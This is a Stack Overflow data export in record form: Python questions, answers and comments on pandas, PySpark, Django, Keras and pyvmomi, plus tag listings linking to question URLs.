answers question: http://stackoverflow.com/q/46979567
score: 2
upvote count: 2

http://stackoverflow.com/comment/80807776
comment on: http://stackoverflow.com/a/46930108
type: AnswerComment
has text: Thanks a lot @rachid. I searched a lot.. everywhere the format was same which I used. Anyways it really helped.
score: 1
type: Comment

http://stackoverflow.com/a/47042135
accepted answer of: http://stackoverflow.com/q/46928104
has comment: http://stackoverflow.com/comment/101344701
answers question: http://stackoverflow.com/q/46928104
has comment: http://stackoverflow.com/comment/101352498
has body: So in the interests of providing some closure, and because I couldn't find a complete example anyway, here's my first take at this. It's part of a class that has already connected to the vcenter server using SmartConnect, and set self.si. It doesn't really do much error checking yet. You can choose if you want to wait and get the output, or just return after launching the command. remote_cmd originally came from pyvmomi-community-samples, hence some duplication between the two methods currently. def invoke_vmscript(self, vm_username, vm_password, vm_name, script_content, wait_for_output=False): script_content_crlf = script_content.replace('\n', '\r\n') content = self.si.content creds = vim.vm.guest.NamePasswordAuthentication(username=vm_username, password=vm_password) vm = self.get_vm(vm_name) logger.debug("Invoke-VMScript Started for %s", vm_name) logger.debug("CREATING TEMP OUTPUT DIR") file_manager = content.guestOperationsManager.fileManager temp_dir = file_manager.CreateTemporaryDirectoryInGuest(vm, creds, "nodebldr_", "_scripts") try: file_manager.MakeDirectoryInGuest(vm, creds, temp_dir, False) except vim.fault.FileAlreadyExists: pass temp_script_file = file_manager.CreateTemporaryFileInGuest(vm, creds, "nodebldr_", "_script.ps1", temp_dir) temp_output_file = file_manager.CreateTemporaryFileInGuest(vm, creds, "nodebldr_", "_output.txt", temp_dir) logger.debug("SCRIPT FILE: " + temp_script_file) logger.debug("OUTPUT FILE: " + temp_output_file) file_attribute = vim.vm.guest.FileManager.FileAttributes() url = file_manager.InitiateFileTransferToGuest(vm, creds, temp_script_file, file_attribute, len(script_content_crlf), True) logger.debug("UPLOAD SCRIPT TO: " + url) r = requests.put(url, data=script_content_crlf, verify=False) if not r.status_code == 200: logger.debug("Error while uploading file") else: logger.debug("Successfully uploaded file") self.remote_cmd(vm_name, vm_username, vm_password, 'C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\powershell.exe', "-…
upvote count: 3
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/101352411
score: 3
type: Answer

pyqt
type: Tag
tags question: http://stackoverflow.com/q/47041212
tags question: http://stackoverflow.com/q/46945438
tags question: http://stackoverflow.com/q/46937135
tags question: http://stackoverflow.com/q/47024950
tags question: http://stackoverflow.com/q/46986431
tags question: http://stackoverflow.com/q/46908327
tags question: http://stackoverflow.com/q/47041271
tags question: http://stackoverflow.com/q/46913746
tags question: http://stackoverflow.com/q/47036326
tags question: http://stackoverflow.com/q/46945997
tags question: http://stackoverflow.com/q/46990848
tags question: http://stackoverflow.com/q/46961642
tags question: http://stackoverflow.com/q/47020995
tags question: http://stackoverflow.com/q/46958896
tags question: http://stackoverflow.com/q/47040409
tags question: http://stackoverflow.com/q/46999726
tags question: http://stackoverflow.com/q/47015858
tags question: http://stackoverflow.com/q/46975381
tags question: http://stackoverflow.com/q/47029958
tag name: pyqt
tags question: http://stackoverflow.com/q/47038091
tags question: http://stackoverflow.com/q/47059817
tags question: http://stackoverflow.com/q/46924740
tags question: http://stackoverflow.com/q/46917671
tags question: http://stackoverflow.com/q/46982374
tags question: http://stackoverflow.com/q/47062681
tags question: http://stackoverflow.com/q/47064174
tags question: http://stackoverflow.com/q/47044380
tags question: http://stackoverflow.com/q/46934526
tags question: http://stackoverflow.com/q/46958767

http://stackoverflow.com/comment/80865719
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/46959182
score: 5
has text: `sum(map(float, s.split()))` seems like it should do.

http://stackoverflow.com/comment/81070027
comment on: http://stackoverflow.com/a/47058263
has text: [docs])(https://docs.scipy.org/doc/scipy-0.15.1/reference/generated/scipy.optimize.basinhopping.html#scipy.optimize.basinhopping) 1) random perturbation of the coordinates 2) local minimization 3) accept or reject the new coordinates based on the minimized function value. `accept_test` influences on step 1, not 3
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/q/47020728
tagged with: input
has comment: http://stackoverflow.com/comment/80988119
tagged with: python
score: -1
has answer: http://stackoverflow.com/a/47020949
has body: def main(): num_list = [] n = input('Your favorite number: ') again = 'g' while again == 'g': value = float(input('Enter a number: ')) if value &gt; n: num_list.append(value) print ('Would you like to enter another number?: ') again = input('y=yes, n=no') main() Here's my code. The > isn't working, what do i do?
upvote count: 0
type: UnansweredQuestion
has title: Having trouble with some lists on python
answer count: 1
tagged with: loops
downvote count: 1
favorite count: 0
type: Question
tagged with: list
tagged with: while-loop

http://stackoverflow.com/a/46974297
answers question: http://stackoverflow.com/q/46973225
score: 0
has body: I used this to organize my data frame to be in the same format dfres = res0.pivot(index='datum_von', columns='produktname')['max'] Then I used this to compute the difference dfdiff=dfres.subtract(finaldf)
type: Answer

http://stackoverflow.com/comment/80960127
type: AnswerComment
has text: To be more explicit about removing just the `%`, you could also replace `[:-1]` with `.rstrip('%')`. (neither is wrong, choose one that's clearer to you)
comment on: http://stackoverflow.com/a/47006741
type: Comment
score: 2

http://stackoverflow.com/comment/81066554
comment on: http://stackoverflow.com/q/47059534
type: Comment
score: 0
type: QuestionComment
has text: What do you mean by rendering ? Do you mean after saving? Something that render in live time ?

pandas
tags question: http://stackoverflow.com/q/46921406
tags question: http://stackoverflow.com/q/46981887
tags question: http://stackoverflow.com/q/46995764
tags question: http://stackoverflow.com/q/47061436
tags question: http://stackoverflow.com/q/46985607
tags question: http://stackoverflow.com/q/46972163
tags question: http://stackoverflow.com/q/47003140
tags question: http://stackoverflow.com/q/46950766
tags question: http://stackoverflow.com/q/46985846
tags question: http://stackoverflow.com/q/47000837
tags question: http://stackoverflow.com/q/46993961
tags question: http://stackoverflow.com/q/47060980
tags question: http://stackoverflow.com/q/47044139
tags question: http://stackoverflow.com/q/47055259
tags question: http://stackoverflow.com/q/46932403
tags question: http://stackoverflow.com/q/46918600
tags question: http://stackoverflow.com/q/46911703
tags question: http://stackoverflow.com/q/47028601
tags question: http://stackoverflow.com/q/47055693
tags question: http://stackoverflow.com/q/46983185
tags question: http://stackoverflow.com/q/46914546
tags question: http://stackoverflow.com/q/46924925
tags question: http://stackoverflow.com/q/46973526
tags question: http://stackoverflow.com/q/46911990
tags question: http://stackoverflow.com/q/47061626
tags question: http://stackoverflow.com/q/46988048
tags question: http://stackoverflow.com/q/46907847
tags question: http://stackoverflow.com/q/47005990
tags question: http://stackoverflow.com/q/47001157
tags question: http://stackoverflow.com/q/47002891
tags question: http://stackoverflow.com/q/46912100
tags question: http://stackoverflow.com/q/47006734
tags question: http://stackoverflow.com/q/46981137
tags question: http://stackoverflow.com/q/47046218
tags question: http://stackoverflow.com/q/46992346
tags question: http://stackoverflow.com/q/46929683
tags question: http://stackoverflow.com/q/46986343
tags question: http://stackoverflow.com/q/46941874
tags question: http://stackoverflow.com/q/46992303
tags question: http://stackoverflow.com/q/47054795
tags question: http://stackoverflow.com/q/46999399
tags question: http://stackoverflow.com/q/46927649
tags question: http://stackoverflow.com/q/47025365
tags question: http://stackoverflow.com/q/46919084
tags question: http://stackoverflow.com/q/46994932
tags question: http://stackoverflow.com/q/46966003
tags question: http://stackoverflow.com/q/46944019
tags question: http://stackoverflow.com/q/46996602
tags question: http://stackoverflow.com/q/46942587
tags question: http://stackoverflow.com/q/46973956
tags question: http://stackoverflow.com/q/47048636
tags question: http://stackoverflow.com/q/46989232
tags question: http://stackoverflow.com/q/46922610
tags question: http://stackoverflow.com/q/46912379
tags question: http://stackoverflow.com/q/47051326
tags question: http://stackoverflow.com/q/46993463
tags question: http://stackoverflow.com/q/46931218
tags question: http://stackoverflow.com/q/46919525
tags question: http://stackoverflow.com/q/46932210
tags question: http://stackoverflow.com/q/46922484
tags question: http://stackoverflow.com/q/46930316
tags question: http://stackoverflow.com/q/46980001
tags question: http://stackoverflow.com/q/46909550
tags question: http://stackoverflow.com/q/46988650
tags question: http://stackoverflow.com/q/47002832
tags question: http://stackoverflow.com/q/47042146
tags question: http://stackoverflow.com/q/47020491
tags question: http://stackoverflow.com/q/46939314
tags question: http://stackoverflow.com/q/46990752
tags question: http://stackoverflow.com/q/46907811
tags question: http://stackoverflow.com/q/46976710
tags question: http://stackoverflow.com/q/47040210
tags question: http://stackoverflow.com/q/46938683
tags question: http://stackoverflow.com/q/46964188
tags question: http://stackoverflow.com/q/47035399
tags question: http://stackoverflow.com/q/47047342
tags question: http://stackoverflow.com/q/46985022
tags question: http://stackoverflow.com/q/46928636
tags question: http://stackoverflow.com/q/46919062
tags question: http://stackoverflow.com/q/46919360

http://stackoverflow.com/q/47022409
has comment: http://stackoverflow.com/comment/80996481
score: 2
accepted answer: http://stackoverflow.com/a/47025051
has answer: http://stackoverflow.com/a/47025051
upvote count: 2
has comment: http://stackoverflow.com/comment/80995016
answer count: 1
downvote count: 0
favorite count: 0
tagged with: apache-spark-ml
type: Question
type: AnsweredQuestion
tagged with: apache-spark
has title: PySpark read in a textfile as Dense vectors
tagged with: pyspark
tagged with: python
has comment: http://stackoverflow.com/comment/80996437
has body: I'm working with PySpark and trying to load a file of the format below, where each line is a vector of counts [1394, 56692, 0, 10, 22] [0, 0, 0, 0, 0] [2235, 123, 678, 0, 999] And I'm trying to load this into Spark using sc.textFile(path/to/counts.txt). How can I convert each row of the file to be a pyspark ML vector similar to the format below? I'm assuming it's a lambda function but not sure how to convert string to ML Vector. from pyspark.ml.linalg import Vectors as MLVectors data = [(MLVectors.dense([0.0, 1.0, 0.0, 7.0, 0.0]),), (MLVectors.dense([2.0, 0.0, 3.0, 4.0, 5.0]),), (MLVectors.dense([4.0, 0.0, 0.0, 6.0, 7.0]),)]

hash-collision
tags question: http://stackoverflow.com/q/46912866
tag name: hash-collision
type: Tag

http://stackoverflow.com/comment/80911306
has text: Thanks a lot!! . It works with value=2. but when df=3, the output have a lot of 0.. I don't know why this happened
score: 0
type: Comment
comment on: http://stackoverflow.com/a/46981493
type: AnswerComment

http://stackoverflow.com/q/46989804
score: -2
has answer: http://stackoverflow.com/a/46995567
has comment: http://stackoverflow.com/comment/80926167
tagged with: python
has body: I'm making a text adventure game in Python to get myself started, as I am not that good at Python yet. I have tried to implement a set of health rules: while True: if health == maxHealth: playerAtMaxHealth = True; elif health &gt; maxHealth: health = maxHealth; elif health &lt; 0: health = 0 elif health == 0: playerDead = True; Here is it with the rest of my code: def startUp(): StartPRINT("""╔═══╗ ║╔══╝ ║╚══╦══╦══╦══╦══╦══╗ ║╔══╣══╣╔═╣╔╗║╔╗║║═╣ ║╚══╬══║╚═╣╔╗║╚╝║║═╣ ╚═══╩══╩══╩╝╚╣╔═╩══╝ ─────────────║║ ─────────────╚╝ \n""") global gold global health global inventory global berryCollected; global maxHealth; global playerAtMaxHealth; global playerDead berryCollected = False; playerAtMaxHealth = True; playerDead = False gold = 0 health = 30 maxHealth = 30 inventory = [] time.sleep(2) while True: if health == maxHealth: playerAtMaxHealth = True; elif health &gt; maxHealth: health = maxHealth; elif health &lt; 0: health = 0 elif health == 0: playerDead = True; forest() Basically what happens is that it prints out the start text, but then it just gets stuck in the while loop and doesn't move onto forest().
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/46995507
has answer: http://stackoverflow.com/a/50149934
answer count: 3
has answer: http://stackoverflow.com/a/46995507
possible better answer: http://stackoverflow.com/a/46995567
downvote count: 2
tagged with: loops
has comment: http://stackoverflow.com/comment/80926067
favorite count: 0
type: Question
has title: How can I create a while loop that runs all the time but doesn't interfere with the order that the code runs in?
upvote count: 0

http://stackoverflow.com/comment/80900439
comment on: http://stackoverflow.com/a/46976498
type: AnswerComment
has text: very pythonic solution, using zip and lambda!
score: 0
type: Comment

putty
tags question: http://stackoverflow.com/q/47016416
tag name: putty
type: Tag
tags question: http://stackoverflow.com/q/46997622

http://stackoverflow.com/a/46972359
score: 11
upvote count: 11
downvote count: 0
has body: On osX, Your path should be: path = "/Users/name/Downloads/filename" with name the current user logged in
type: Answer
answers question: http://stackoverflow.com/q/46972225

http://stackoverflow.com/comment/80885358
comment on: http://stackoverflow.com/a/46967879
score: 0
type: Comment
has text: The faster alternative is really really helpful in the case of medium to large datasets.Thanks!
type: AnswerComment

http://stackoverflow.com/comment/80763010
comment on: http://stackoverflow.com/q/46908136
score: 0
has text: you can select with xpath
type: Comment
type: QuestionComment

http://stackoverflow.com/a/46927313
type: Answer
score: 0
answers question: http://stackoverflow.com/q/46926091
has body: When I used this code, error occured. The result was [[ 0.33333334 0.33333334 0.33333334]] again. def test_one_image(path): with tf.Graph().as_default(): image_plt = Image.open(path) image_tensor = tf.image.decode_jpeg(tf.read_file(path), channels=3) image_tensor = tf.image.per_image_standardization(image_tensor) image_tensor = tf.reshape(image_tensor, [1, 224, 224, 3]) x = tf.placeholder(tf.float32, shape=[1, 224, 224, 3]) logit = vgg(x) logit = tf.nn.softmax(logit) logs_train_dir = 'D:\\Demo\\ckpt' saver = tf.train.Saver(tf.global_variables()) with tf.Session() as sess: ckpt = tf.train.get_checkpoint_state(logs_train_dir) saver.restore(sess, ckpt.model_checkpoint_path) prediction = sess.run(logit, feed_dict={x: image_tensor.eval()}) print(prediction)

http://stackoverflow.com/q/46956026
score: 94
tagged with: apache-spark
linked to: http://stackoverflow.com/q/32284620
tagged with: pyspark
has answer: http://stackoverflow.com/a/46963235
tagged with: dataframe
tagged with: python
has body: I have dataframe in pyspark. Some of its numerical columns contain nan so when I am reading the data and checking for the schema of dataframe, those columns will have string type. How I can change them to int type. I replaced the nan values with 0 and again checked the schema, but then also it's showing the string type for those columns.I am following the below code: data_df = sqlContext.read.format("csv").load('data.csv',header=True, inferSchema="true") data_df.printSchema() data_df = data_df.fillna(0) data_df.printSchema() my data looks like this: here columns Plays and drafts containing integer values but because of nan present in these columns, they are treated as string type.
has comment: http://stackoverflow.com/comment/80859419
answer count: 3
has title: How to convert column with string type to int form in pyspark data frame?
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/48914662
has comment: http://stackoverflow.com/comment/80859913
downvote count: 1
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/53138186
has comment: http://stackoverflow.com/comment/80860012
tagged with: apache-spark-sql
upvote count: 95

http://stackoverflow.com/comment/80959708
type: Comment
type: AnswerComment
has text: Hey, my bad, the issue seems to actually be that the processes are not being joined, please check out the edited code, I ran it and it seems to work fine. The semaphore you setup works well.
comment on: http://stackoverflow.com/a/47006396
score: 0

http://stackoverflow.com/comment/81040018
has text: okay, they are the basic pygame.Rect objects. that is a really good idea, though, and i had never even thought of doing something like that! thank you so much!
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/47046344
type: Comment

http://stackoverflow.com/q/46932552
has body: I have the following code: import os, fcntl f = open('./testfile.t', 'wb') f.write(os.urandom(64)) fcntl.flock(f.fileno(), fcntl.LOCK_EX) print 'Locked' try: f2 = open('./testfile.t', 'wb') except IOError as err: print err.errno print err The idea is that second open should return an error, because file is still locked. The problem is it doesn't. Moreover, if I try to acquire a lock on f2.fileno() this code just hangs up, instead of throwing an exception. What do I do wrong?
has comment: http://stackoverflow.com/comment/80812484
tagged with: flock
tagged with: python
type: Question
score: 0
answer count: 0
type: UnansweredQuestion
has title: How does python flock() work?
has comment: http://stackoverflow.com/comment/80812411
has comment: http://stackoverflow.com/comment/80812074

http://stackoverflow.com/q/47023810
has comment: http://stackoverflow.com/comment/80995719
has body: I would like a help to make submenus, from the menu number "1". I tried using the code below but it did not work. Here is my code: @signals.message_received.connect def handle(message): # Main menu if message.command == "Olá": menuPrincipal(message) # 1 - Budgeting elif message.command == "1": orcamentos(message) # 2 - Track an order already in progress elif message.command == "2": pedidoAndamento(message) # 3 - Change the date, time or location of the event elif message.command == "3": alterarPedido(message) # 4 - Special Offers elif message.command == "4": promocoes(message) # 5 - Speak to a representative elif message.command == "5": chamarRepresentante(message) Below is the orcamentos() function that I would like to put as a submenu: def orcamentos(message): mac.send_message(txtOrcamentos, message.conversation) # 1 Party kit if message.command == "1": partyKit(message) # 2 Confectionery cake elif message.command == "2": confCake(message) # 3 Salty pie elif message.command == "3": saltPie(message) # 4 Cupcakes elif message.command == "4": cupcakes(message) # 5 Sweets elif message.command == "5": sweets(message) # 6 Salty elif message.command == "6": salty(message)
has comment: http://stackoverflow.com/comment/80996351
answer count: 1
has comment: http://stackoverflow.com/comment/80996638
downvote count: 1
score: -1
favorite count: 0
type: Question
tagged with: yowsup
has answer: http://stackoverflow.com/a/47298886
upvote count: 0
type: UnansweredQuestion
has title: How to make submenus?
tagged with: python
has comment: http://stackoverflow.com/comment/80996596
has comment: http://stackoverflow.com/comment/80999355
has comment: http://stackoverflow.com/comment/80996491
has comment: http://stackoverflow.com/comment/80996281

http://stackoverflow.com/comment/81009471
has text: Just *return* them from the function, and assign the result to new variables in `newname()`.
comment on: http://stackoverflow.com/q/47031552
score: 3
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/80813390
comment on: http://stackoverflow.com/a/46930321
score: 0
type: AnswerComment
has text: Thank you for you're answer !
type: Comment

http://stackoverflow.com/a/46937558
has body: Here is one way , by using reindex and category df.time=df.time.astype('category',categories =[0,1,2,3,4,5]) new_df=df.groupby('time',as_index=False).apply(lambda x : x.set_index('ID').reindex([0,1,2])).reset_index() new_df['data']=new_df.groupby('ID')['data'].ffill() new_df.drop('time',1).rename(columns={'level_0':'time'}) Out[311]: time ID data 0 0 0 1.0 1 0 1 2.0 2 0 2 3.0 3 1 0 4.0 4 1 1 2.0 5 1 2 5.0 6 2 0 6.0 7 2 1 2.0 8 2 2 7.0 9 3 0 6.0 10 3 1 2.0 11 3 2 8.0 12 4 0 6.0 13 4 1 2.0 14 4 2 8.0 15 5 0 6.0 16 5 1 9.0 17 5 2 10.0
score: 2
upvote count: 2
has comment: http://stackoverflow.com/comment/80822646
has comment: http://stackoverflow.com/comment/80822601
downvote count: 0
has comment: http://stackoverflow.com/comment/80822498
answers question: http://stackoverflow.com/q/46937010
has comment: http://stackoverflow.com/comment/80822476
type: Answer

http://stackoverflow.com/a/47050278
has body: Use drop_duplicates for first rows: df = df_1.merge(df_2.drop_duplicates('Fruit'),how='left',on='Fruit') print (df) Index Fruit Taste 0 1 Apple Tasty 1 2 Banana Tasty 2 3 Peach Rotten If want add only one column faster is use map: s = df_2.drop_duplicates('Fruit').set_index('Fruit')['Taste'] df_1['Taste'] = df_1['Fruit'].map(s) print (df_1) Index Fruit Taste 0 1 Apple Tasty 1 2 Banana Tasty 2 3 Peach Rotten
has comment: http://stackoverflow.com/comment/113194176
type: Answer
upvote count: 22
accepted answer of: http://stackoverflow.com/q/47050239
has comment: http://stackoverflow.com/comment/104436072
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/47050239
has comment: http://stackoverflow.com/comment/121249207
score: 22
has comment: http://stackoverflow.com/comment/104436020

http://stackoverflow.com/a/46953733
answers question: http://stackoverflow.com/q/46938332
type: Answer
has body: Give this a shot and tell me you didn't get your expected titles from that page. Your defined xpath was faulty. Moreover, there are huge whitespaces in each string so you need to .strip() them as well. The below script will give you the clean output. import scrapy class MySpider(scrapy.Spider): name = 'jobs' start_urls = ['https://www.freelancer.in/jobs/python_web-scraping_web-crawling/'] def parse(self, response): for title in response.xpath('//*[@class="JobSearchCard-primary-heading-link"]/text()').extract(): yield{ 'title' : title.strip() }
score: 0

http://stackoverflow.com/comment/80785290
has text: Have you tried converting the df elements to `datetime` objects?
comment on: http://stackoverflow.com/q/46918969
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/comment/82536273
type: Comment
has text: @KillerXtreme based on what you linked, it doesnt look like the error is due to threading. It means your camera is closed. I dont know anything about the software or camera you're using so I can't help you there. Threading is most likely not the cause of that error though.
comment on: http://stackoverflow.com/a/47041649
type: AnswerComment
score: 0

http://stackoverflow.com/comment/80808632
type: QuestionComment
has text: I think you've omitted the relationship / foreign keys between Products and Vendors
comment on: http://stackoverflow.com/q/46930569
score: 0
type: Comment

http://stackoverflow.com/q/46990754
tagged with: inheritance
has comment: http://stackoverflow.com/comment/80928036
possible better answer: http://stackoverflow.com/a/46990773
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/46990837
tagged with: oop
has answer: http://stackoverflow.com/a/46990837
tagged with: python
type: Question
answer count: 2
has answer: http://stackoverflow.com/a/46990773
score: 0
has body: Solution at the bottom Here is my code: class Points: def __init__(self, a, b): self.a = a self.b = b def gradient(self, coord): return (coord[0] - self.a) / (coord[1] - self.b) class Attribute: def __init__(self, coordinate, c): self.coordinate = coordinate self.c = c def isEqual(self, coordinate2, c2): print self.coordinate.gradient(coordinate2) print self.c == c2 attributes = Attribute([2.345, 2.543], 1.123) point = Points(3.45, 3.54) attributes.isEqual(point, 5.0) So I have a 'Points' class, where I store a coordinate, (a, b), and define a method 'gradient', which takes a list as an argument (another coordinate), and which computes the gradient of a line connecting (a, b) and the new coordinate. I also have an 'Attribute' class. In this class I define another coordinate as an argument, as well as some other number. This class has a method to check whether the coordinate initiated in this class has the same coordinate as some other coordinate given in the argument of isEqual. So here I am defining 'attributes' using the class 'Attribute'. I am then calling attributes.isEqual(point, 5.0) to find the gradient between attributes and point and to see if the other number in attributes is equal to 5. This gives me the following output: MacBook-Air:Assignment1 Olly$ python try.py Traceback (most recent call last): File "try.py", line 39, in &lt;module&gt; attributes.isEqual(point, 5.0) File "try.py", line 33, in isEqual print self.coordinate.gradient(coordinate2) AttributeError: 'list' object has no attribute 'gradient' I'm not entirely sure how to solve this area. I thought that perhaps I need to inherit the Points class when creating the Attribute class, in order to use the gradient method from the Points class. So I tried changing the Attribute class to the following: class Attribute(Points): def __init__(self, coordinate, c, x, y): Points.__init__(self, x, y) self.coordinate = coordinate self.c = c def __str__(self): return "a and b (%s, %s); other number %s" % (sel…
has title: How to allow an object to have a class method as an attribute?

http://stackoverflow.com/comment/80960416
comment on: http://stackoverflow.com/a/47006894
type: AnswerComment
score: 0
has text: See https://stackoverflow.com/a/47006847/4909087, your answer is a dupe of one of their options.
type: Comment

http://stackoverflow.com/q/47022925
tagged with: time-series
has title: Multi step prediction of a time serie using multiple inputs with LSTM
tagged with: python
tagged with: lstm
tagged with: deep-learning
answer count: 0
type: UnansweredQuestion
downvote count: 0
upvote count: 1
score: 1
tagged with: keras
has body: I am new to deep learning and LSTM networks and I would like to know if they could be a good fit for my problem. My reference example is this (https://groups.google.com/d/msg/keras-users/9GsDwkSdqBg/kV1Ep9E_BAAJ). So I have information about a set of users (~500). For each of them I know, across a time period of 25 days, two scores: 1 and 2. My goal is to predict, in a given day n the score 1 for the next d days. (Please forget that the 2 trends seem correlated, as it is not a typical situation). From what I read about LSTM, the key part is to shape the data in the correct way. My initial input, for every user is a vector of 50 values (25 scores 1 and 25 scores 2): User 1: | SC1(1) | SC1(2) | SC1(3)| ... | SC1(25) | SC2(1) | SC2(2) | SC2(3) | ... | SC2(25) | User 2: | SC1(1) | SC1(2) | SC1(3)| ... | SC1(25) | SC2(1) | SC2(2) | SC2(3) | ... | SC2(25) | ... where SC1(1) indicates the score 1 at time point 1. I would then split the data 90% to train the model and 10% to evaluate it. So given my training set (450 samples), the input X and the target y, assuming that I want to look back in the past for 3 time points, and predict the next 3, would look like: X: Y: |SC1(1)|SC1(2)|SC1(3)|SC2(1)|SC2(2)|SC2(3)| |SC1(4)|SC1(5)|SC1(6)| |SC1(2)|SC1(3)|SC1(4)|SC2(2)|SC2(3)|SC2(4)| |SC1(5)|SC1(6)|SC1(7)| |SC1(3)|SC1(4)|SC1(5)|SC2(3)|SC2(4)|SC2(5)| |SC1(6)|SC1(7)|SC1(8)| ... |SC1(20)|SC1(21)|SC1(22)|SC2(22)|SC2(21)|SC2(20)| |SC1(23)|SC1(24)|SC1(25)| My questions now are: 1) Are the data split and arranged in a correct format (to be processed using Keras)? 2) Do I only have to look back as much as I want to predict forward? If not, is there a rule of thumb for those values? 3) Does it make sense to train a network on sequences of data that belongs to different users? (i.e X will be defined as the collection of all the possible sequences of 3 steps generated from all the users)
favorite count: 0
type: Question

http://stackoverflow.com/q/46929420
has comment: http://stackoverflow.com/comment/80805900
type: Question
has title: How to merge a column in a dataframe with another dataframe
has body: I have two dataframes df1: | Ref | Call | |:-----------|------------:| | E/123 | Research | | E/164 | Research | | E/256 | Research | | E/543 | Fellow | | E/213 | Fellow | | E/457 | Fellow | df2: | Ref | Grade | Person | |:-----------|------------:|:------------:| | E/123 | 6 | A.Smith | | E/164 | 4 | P.Davies | | E/256 | 4 | E.Carter | | E/543 | 8 | D.White | | E/213 | 9 | R.Daniels | | E/457 | 2 | S.Conner | I want to add a new column to df2, which takes the 'Call' column from df1, and then matches the call to the ref number i.e.: | Ref | Grade | Person | Call | |:-----------|------------:|:------------:|:---------| | E/123 | 6 | A.Smith | Research | | E/164 | 4 | P.Davies | Research | | E/256 | 4 | E.Carter | Research | | E/543 | 8 | D.White | Fellow | | E/213 | 9 | R.Daniels | Fellow | | E/457 | 2 | S.Conner | Fellow | Obviously my script is not as simple as the above example (i.e. it isnt in a nice order, it has to be matched ref to ref), so df1 is a list of ALL the grants we have and their respective call, df2 is a 'random' sample which can be big or small.
tagged with: pandas
has comment: http://stackoverflow.com/comment/80807090
has comment: http://stackoverflow.com/comment/80806450
has comment: http://stackoverflow.com/comment/80805923
has comment: http://stackoverflow.com/comment/80807116
tagged with: python
has comment: http://stackoverflow.com/comment/80806679
has comment: http://stackoverflow.com/comment/80806847
has comment: http://stackoverflow.com/comment/80805939
has comment: http://stackoverflow.com/comment/80805640
score: 0
has comment: http://stackoverflow.com/comment/80805701
has comment: http://stackoverflow.com/comment/80806083
has comment: http://stackoverflow.com/comment/80806376
answer count: 0
linked to: http://stackoverflow.com/q/45053594
duplicate of: http://stackoverflow.com/q/53645882
has comment: http://stackoverflow.com/comment/80806151
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/80805662
has comment: http://stackoverflow.com/comment/80806950
has comment: http://stackoverflow.com/comment/80807134

http://stackoverflow.com/q/46965071
tagged with: django-forms
has answer: http://stackoverflow.com/a/46965731
has body: I'm trying to extend Django's django.contrib.auth.forms.UserCreationForm to include email and name fields. My similar extension of the UserChangeForm works fine, but UserCreationForm still only shows the default username, password1, and password2 fields. Any ideas what I'm doing wrong? forms.py class AuthorCreation(UserCreationForm): class Meta: model = User fields = ('username', 'password1', 'password2', 'first_name', 'last_name', 'email', 'groups', 'is_staff') class AuthorChange(UserChangeForm): class Meta: model = User fields = ('username', 'first_name', 'last_name', 'email', 'password', 'groups', 'is_staff') admin.py class AuthorAdmin(UserAdmin): """Admin class for creating and managing Authors""" inlines = [AuthorInline] fieldsets = ( (None, { 'fields': ('username', ('first_name', 'last_name'), 'email', 'password', 'groups', 'is_staff') }), ) class Media: css = { 'all': [ 'css/codenotes-admin.css', ] } def get_form(self, request, obj=None, **kwargs): if obj is None: return forms.AuthorCreation else: return forms.AuthorChange admin.site.unregister(User) admin.site.register(User, AuthorAdmin) Again, the AuthorChangeForm correctly displays all the fields, but AuthorCreationForm only displays the username, password1, and password2 fields (plus the inline forms, which works fine on both). I assume the problem is with the fieldsets, but I can't figure it out from the docs.
accepted answer: http://stackoverflow.com/a/47066679
type: Question
tagged with: python-3.x
answer count: 2
has answer: http://stackoverflow.com/a/47066679
tagged with: django
type: AnsweredQuestion
score: 0
has title: Extendings Django's UserCreationForm
possible better answer: http://stackoverflow.com/a/46965731
tagged with: python

http://stackoverflow.com/a/47008451
answers question: http://stackoverflow.com/q/47007888
score: 1
downvote count: 0
upvote count: 1
has body: You need to install pyq-kernel. Please see Installing Jupyter Kernel for details.
type: Answer

http://stackoverflow.com/a/49809082
score: 0
answers question: http://stackoverflow.com/q/46926666
type: Answer
has body: I had been going through that all wrong, it turned out. The Graph freezing code I used back then was not the one for exporting. After upgrading into the latest Tensorflow version, I just had to do this: feature_spec = {"x": tf.placeholder(dtype=tf.float32, shape=[None, 64*64*3])} serving_input_fn = tf.estimator.export.build_raw_serving_input_receiver_fn(feature_spec) model_version_path = mnist_classifier.export_savedmodel( "F:/python_machine_learning_codes/estimator_exported_model", serving_input_receiver_fn = serving_input_fn, assets_extra=None, as_text=False, checkpoint_path=None ) And the Placeholder node properly shows up at the beginning of the graph and can be used as the input node.

http://stackoverflow.com/a/46949627
has body: If you really feel the need to do the same you can as follows. False in filter(lambda x: isinstance(x, bool), [0, 1, 2]) Or as @JonClements suggested any(x is False for x in [0, 1, 3]) # Since immutable values (including # boolean) are instantiated only once. However, such use case seldom arises where you need to differentiate between 0 and False as both are falsy as far as Python is concerned. Perhaps, you need to re-think your use-case.
upvote count: 8
answers question: http://stackoverflow.com/q/46949556
type: Answer
has comment: http://stackoverflow.com/comment/80846636
accepted answer of: http://stackoverflow.com/q/46949556
has comment: http://stackoverflow.com/comment/80846677
score: 8
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/comment/80889776
type: Comment
type: QuestionComment
has text: @Alan, I tried that but it keeps looping now on for example 7 individuals. Any ideas on how to solve the new problem?
score: 0
comment on: http://stackoverflow.com/q/46971011

http://stackoverflow.com/a/46997372
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/46997325
type: Answer
